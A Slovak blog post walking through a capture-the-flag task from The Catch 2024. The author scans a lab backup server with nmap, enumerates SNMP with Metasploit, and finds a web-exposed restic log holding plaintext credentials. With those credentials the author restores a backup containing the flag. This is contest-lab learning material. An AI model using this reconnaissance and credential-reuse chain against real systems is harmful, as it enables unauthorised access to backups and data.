8. 11. 2024

CTF - The Catch 2024 - Admin Johnson

 Admin Johnson začal testovať zálohovacie procedúry na serveri johnson-backup.cypherfix.tcc. Nechal ale proces rozpracovaný z dôvodu iných zaujímavých úloh. Mám zistiť, či je v súčasnom stave napadnuteľný.

Ako pomôcku dostávam, že admin Johnson nie je dobrý v dodržiavaní hygieny hesiel.


Keďže viem len adresu zálohovacieho servera, pozriem aké porty komunikujú:

$ nmap johnson-backup.cypherfix.tcc

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-07 22:40 CET
Nmap scan report for johnson-backup.cypherfix.tcc (10.99.24.30)
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (reset)
PORT    STATE SERVICE
80/tcp  open  http
199/tcp open  smux
Vrátil otvorené porty 199 a 80, pozriem teda web a tam je obyčajná default Apache stránka.

Port 199 poskytuje SNMP, vyhľadal som na youtube ako naň cez metasploit, spustím "msfconsole" a v ňom:

  • use auxiliary/scanner/snmp/snmp_login
  • show options
  • setg rhosts johnson-backup.cypherfix.tcc
  • exploit

Počkám a vidím, že sa podarilo prihlásiť cez public ako readonly

  • use auxiliary/scanner/snmp/snmp_enum
  • show options
  • exploit


[*] Processes:

Id                  Status              Name                Path                Parameters
1                   runnable            supervisord         /usr/bin/python3    /usr/bin/supervisord
7                   runnable            apache2ctl          /bin/sh             /usr/sbin/apache2ctl -D FOREGROUND
8                   runnable            cron                /usr/sbin/cron      -f
9                   running             snmpd               /usr/sbin/snmpd     -f
12                  runnable            cron                /usr/sbin/CRON      -f
16                  runnable            sh                  /bin/sh             -c /etc/scripts/restic.sh >> /var/www/html/3cde480a8572719b9b33acb1257c6361/restic.err.log 2>&1
20                  runnable            restic.sh           /bin/bash           /etc/scripts/restic.sh
28                  runnable            apache2             /usr/sbin/apache2   -D FOREGROUND
9331                runnable            apache2             /usr/sbin/apache2   -D FOREGROUND
9359                runnable            apache2             /usr/sbin/apache2   -D FOREGROUND
9387                runnable            apache2             /usr/sbin/apache2   -D FOREGROUND
9767                runnable            sleep               sleep               86400

Tu vidím výpis bežiacich procesov (je to linux) a medzi nimi aj nejaký restic.sh a jeho log je pod /var/www/html/... túto cestu vezmem a stiahnem si log.

$ wget http://johnson-backup.cypherfix.tcc/3cde480a8572719b9b33acb1257c6361/restic.err.log

Hneď na začiatku logu vidím, akým loginom a heslom sa snaží ísť na backup server cez rest:
restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test check

Ďalej sú tu chyby 500 a log končí chybou:
unable to create lock in backend

Doinštaloval som si u seba restic, príkaz dáva rovnaké chyby, skusil som miesto check na konci dať "cat config" nezobral, ani "ls latest".

$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test cat config
enter password for repository:
repository 4c59d415 opened (version 2, compression level auto)
Save(<lock/c7f99f0a93>) returned error, retrying after 1.062777851s: unexpected HTTP response (500): 500 Internal Server Error
Save(<lock/c7f99f0a93>) returned error, retrying after 1.174555077s: unexpected HTTP response (500): 500 Internal Server Error
Save(<lock/c7f99f0a93>) returned error, retrying after 4.453225244s: unexpected HTTP response (500): 500 Internal Server Error
  signal interrupt received, cleaning up
unable to create lock in backend: context canceled

Vyzerá, že po zavolaní príkazu hore má restic problém s uzamknutím. Ale je tu parameter pre readonly, bez zamknutia (treba pridať --no-lock)

$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test cat config --no-lock
enter password for repository:
repository 4c59d415 opened (version 2, compression level auto)
{
  "version": 2,
  "id": "4c59d4155a5d2ae7ed28d38beec68203d6bd532010ada7611052f207b0f636fc",
  "chunker_polynomial": "2ed88a9281b017"
}

$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test ls latest --no-lock
enter password for repository:
repository 4c59d415 opened (version 2, compression level auto)
[0:00] 100.00%  1 / 1 index files loaded
snapshot 84e8d815 of [/etc/secret] at 2024-08-08 08:58:38.365981379 +0000 UTC by root@4d6c9220e986 filtered by []:
/etc
/etc/secret
/etc/secret/flag

Vidieť tu v posledných zálohách súbor flag. Niektoré píkazy, ktoré nepotrebujú lock, už fungujú.
Teraz si k sebe vyrestorujem zálohu flag súboru. Použijem k tomu číslo snapshotu 84e8d815 z výpisu hore.

$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test restore 84e8d815 --no-lock --target ../rest
enter password for repository:
repository 4c59d415 opened (version 2, compression level auto)
[0:00] 100.00%  1 / 1 index files loaded
restoring snapshot 84e8d815 of [/etc/secret] at 2024-08-08 08:58:38.365981379 +0000 UTC by root@4d6c9220e986 t
o ../rest
Summary: Restored 3 files/dirs (26 B) in 0:00

V adresári rest/etc/secret mám u seba súbor s vlajkou FLAG{OItn-zKZW-cht7-RNH4}


Zhodnotenie

Toto bola posledná úloha, ktorú som zvládol sám v časovom limite. Napriek tomu, že som hľadaniu riešení venoval menej času ako minulý rok, musím povedať, že mi prišli otázky náročnejšie. Na viacerých som sa neprekonateľne zasekol, netušil čo skúsiť ďalej. Na iných mi chýbali vedomosti. Určite si však pozriem iné write-upy, aby som sa niečo naučil.

Získal som 87 miesto, 15 bodov, vyriešil 11 úloh. Spoznal trochu lepšie DNS, nástroje nmap, "nikto", metasploit, dirbuster a hydra. Určite ak bude čas, zapojím sa aj do ďalších ročníkov.

Žiadne komentáre:

Zverejnenie komentára